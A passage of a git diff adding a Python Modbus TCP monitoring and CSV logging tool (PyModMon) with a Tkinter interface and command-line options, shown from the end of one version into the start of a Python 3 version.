+ data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: 